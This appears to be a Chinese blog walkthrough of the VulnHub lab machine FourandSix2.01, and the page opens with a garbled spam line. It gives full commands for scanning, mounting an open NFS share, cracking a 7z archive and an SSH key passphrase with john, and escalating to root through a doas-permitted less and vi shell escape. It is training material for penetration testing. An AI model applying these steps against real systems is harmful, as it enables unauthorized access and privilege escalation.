天河区发布,池州网站seo,网站制作工作室哪家比较好,网站怎样绑定域名访问#x1f36c; 博主介绍#x1f468;#x1f393; 博主介绍#xff1a;大家好#xff0c;我是 hacker-routing #xff0c;很高兴认识大家~
✨主攻领域#xff1a;【渗透领域】【应急响应】 【Java】 【VulnHub靶场复现】【面试分析】
#x1f389;点赞➕评论➕收藏 … 博主介绍 博主介绍大家好我是 hacker-routing 很高兴认识大家~
✨主攻领域【渗透领域】【应急响应】 【Java】 【VulnHub靶场复现】【面试分析】
点赞➕评论➕收藏 养成习惯一键三连
欢迎关注一起学习一起讨论⭐️一起进步文末有彩蛋
作者水平有限欢迎各位大佬指点相互学习进步 目录 前言
一、信息收集
1、主机探测
2、端口扫描
3、漏洞扫描
二、信息收集渗透测试
1、NFS渗透
2、7z压缩包的密码破解
3、ssh私钥登录
三、信息收集提权
1、信息收集
2、lessvi提权 前言
靶机精讲之FourandSix2.01。vulnhub靶机涉及7z压缩包暴力破解ssh密语暴力破解用到7z2john和ssh2john工具还有doas下less命令vi编辑器提权。机器是OpenBSD系统不多见小巧精悍细节满满是很不错的密码暴力破解演示和提权技巧示范。 一、信息收集
1、主机探测
发现靶机的IP地址是192.168.31.102
┌──(rootkali)-[~]
└─# arp-scan -l 2、端口扫描
扫描端口发现开放了22、111、832、2049端口
┌──(rootkali)-[~]
└─# nmap --min-rate 10000 -p- 192.168.31.102扫描UDP端口的开放情况其中参数-sU表示进行UDP扫描- -top-port 40表示扫描前40个常用端口。
┌──(rootkali)-[~]
└─# nmap -sU --top-port 40 192.168.31.102扫描发现了2049UDP端口开放了nfs协议我们可以利用靶场的nfs协议查看下有哪些共享文件看看对我们渗透有没有价值。 NFSNetwork File System是一种网络文件系统协议它允许不同操作系统之间共享文件和文件系统。NFS最初由Sun Microsystems开发并成为了UNIX和类UNIX系统中最常用的网络文件系统协议之一。 使用NFS一个计算机可以将其文件系统的一部分或全部共享给其他计算机使得其他计算机可以通过网络访问和操作这些文件。NFS使用客户端-服务器模型其中一个计算机充当NFS服务器而其他计算机则作为NFS客户端连接到服务器。 3、漏洞扫描
也没有什么具体的漏洞发现端口扫描都没有发现80和8080web页面的说明这个靶场在其他的地方进行渗透测试比如我们开始扫描到的nfs服务我们下一步就可以进行测试下
┌──(rootkali)-[~]
└─# nmap --scriptvuln -p22,111,832,2049 192.168.31.102 二、信息收集渗透测试
1、NFS渗透
要在Kali Linux上查看已共享的NFS文件你可以执行以下步骤
首先确保你的Kali Linux系统上已安装了nfs-common包。如果没有安装你可以使用以下命令进行安装
sudo apt update
sudo apt install nfs-common接下来使用以下命令来查看可用的NFS共享
showmount -e NFS服务器IP地址-e表示exports可以看到共享目录是/home/user/storage并且everyone所有人都可以访问
将NFS服务器IP地址替换为实际的NFS服务器的IP地址。运行该命令后你将看到NFS服务器上共享的目录列表。如果要挂载NFS共享到本地目录以访问文件可以使用以下命令
sudo mount NFS服务器IP地址:共享目录 本地目录将NFS服务器IP地址替换为实际的NFS服务器的IP地址共享目录替换为希望共享的目录路径本地目录替换为将共享目录挂载到的本地目录路径。成功挂载后你将能够在本地目录中访问和操作NFS共享的文件。 看起来是个7z的压缩包我们先用file查看具体的文件类型并用binwalk看看有啥捆绑 2、7z压缩包的密码破解
解压.7z压缩包使用以下命令解压.7z压缩包
┌──(rootkali)-[~/桌面/nfsdir]
└─# 7z x backup.7z发现解压这个7z压缩包需要使用密码但是我们发现这个压缩包里面有8张图片然后还有一个私钥和公钥这对我们很重要因为我们可以利用私钥进行ssh免密码登录。 干脆就用john爆破吧。由于john爆破只能针对hash文件因此我们先用7z2john生成7z压缩包的哈希
┌──(root??kali)-[~/桌面/nfsdir]
└─# sudo apt install john //使用7z2john工具要先下载John the Ripper 7z2john backup.7z backup7z_hash如果师傅们运行7z2john的命令后出现如下报错 那么解决方法
提示表明在运行7z2john脚本时缺少了Compress::Raw::Lzma Perl模块。要解决这个问题需要安装该模块。只要运行以下两个命令安装即可
sudo apt update
sudo apt install libcompress-raw-lzma-perl然后删掉错误生成的backup7z_hash再次运行7z2john backup.7z backup7z_hash应该就不会有报错了。查询结束。 生成7z的hash后使用字典rockyou.txt进行压缩包的密码暴力破解指定形式为7z格式
john --format7z --wordlist/usr/share/wordlists/rockyou.txt backup7z_hashjohn --show backup7z_hash //查看生成的密码//得到密码是chocolate使用密码chocolate得到8张图片和两个钥匙文件 老规矩看到图片我们先用file查看具体的文件类型并用binwalk看看有啥捆绑的但是没有发现什么有价值的信息。 3、ssh私钥登录
发现id_rsa文件里面的就是一个 OpenSSH 私钥可以用于ssh远程登录 从id_rsa.pub文件里面发现这个钥匙的用户就是user这里我们就是拿到了OpenSSH 私钥和这个账户了下一步我们就可以进行ssh远程登录了。 登录发现需要我们输入私钥id_rsa的密码短语passphrase可是我们没有但是我们可以把id_rsa进行哈希加密跟开始7z压缩包原理一样然后再利用john进行爆破。
┌──(rootkali)-[~/桌面/nfsdir/backup]
└─# ssh -i id_rsa user192.168.31.102与破解压缩包的思路类似先将私钥生成john对应的hash文件这里命名为id_rsa_hash
┌──(rootkali)-[~/桌面/nfsdir/backup]
└─# ssh2john id_rsa id_rsa_hash成功生成了id_rsa_hash然后用john破解密码字典指定为rockyou.txt这里不太了解ssh私钥hash的格式是啥就干脆不用--format指定让john自己识别密码是12345678
┌──(rootkali)-[~/桌面/nfsdir/backup]
└─# john id_rsa_hash --wordlist/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
No password hashes left to crack (see FAQ)┌──(rootkali)-[~/桌面/nfsdir/backup]
└─# john --show id_rsa_hash
id_rsa:123456781 password hash cracked, 0 left拿到了私钥的passphrase是12345678然后我们重新用私钥登录输入passphrase即可成功登录user的shell
┌──(rootkali)-[~/桌面/nfsdir/backup]
└─# ssh -i id_rsa user192.168.31.102
Enter passphrase for key id_rsa:
Last login: Mon Oct 29 13:53:51 2018 from 192.168.1.114
OpenBSD 6.4 (GENERIC) #349: Thu Oct 11 13:25:13 MDT 2018Welcome to OpenBSD: The proactively secure Unix-like operating system.Please use the sendbug(1) utility to report bugs in the system.
Before reporting a bug, please try to reproduce it with the latest
version of the code. With bug reports, please try to ensure that
enough information to reproduce the problem is enclosed, and if a
known fix for it exists, include that as well.fourandsix2$ id
uid1000(user) gid1000(user) groups1000(user), 0(wheel)
fourandsix2$ whoami
user
fourandsix2$ uname -a
OpenBSD fourandsix2.localdomain 6.4 GENERIC#349 amd64 三、信息收集提权
1、信息收集
通过进入靶机我们对靶机进行常规的信息收集进行sudo提权和SUID以及查看定时任务还有查看哪些文件具有写入权限的都没有发现有价值的信息。 2、lessvi提权
在常规的linux系统中我们拿到初始shell后往往会运行sudo -l查看有什么特殊的信息但OpenBSD的语法与之不同无法直接sudo -l。
我们先尝试寻找有什么s位的文件尝试能否采用suid的方法提权具有s位的文件表明该文件在运行时能够以其属主权限运行我们可以借此进行提取首先在根目录/按照权限-perm搜索具有s权限的文件f 我们直接用find搜索doas的相关文件
find / -name doas* -type f 2/dev/nullfourandsix2$ find / -name doas* -type f 2/dev/null
/usr/bin/doas
/etc/examples/doas.conf
/etc/doas.conf
fourandsix2$ cat /etc/doas.conf
permit nopass keepenv user as root cmd /usr/bin/less args /var/log/authlog
permit nopass keepenv root as root非常关键的信息这个文件告诉我们less和authlog指令是可以用doas免密以root权限运行的那我们就运行试试
doas /usr/bin/less /var/log/authlog运行发现再用less读取authlog 这里我们利用less命令对authlog进行查看且此时less命令是具有root权限的。但less只能读文件不能执行系统命令。我们知道在less中按字母v是可以启动vi编辑器的而vi编辑器中输入冒号:后即可输入交互的指令又由于less具有root权限在less中启动的vi编辑器应该也具有root权限。
我们先按v然后会进入vi编辑模式 再输入:!/bin/sh即可提权感叹号!用于表示执行系统命令 发现shell以及变成#号了说明我们提权成功了我们这里也成功拿到了root的flag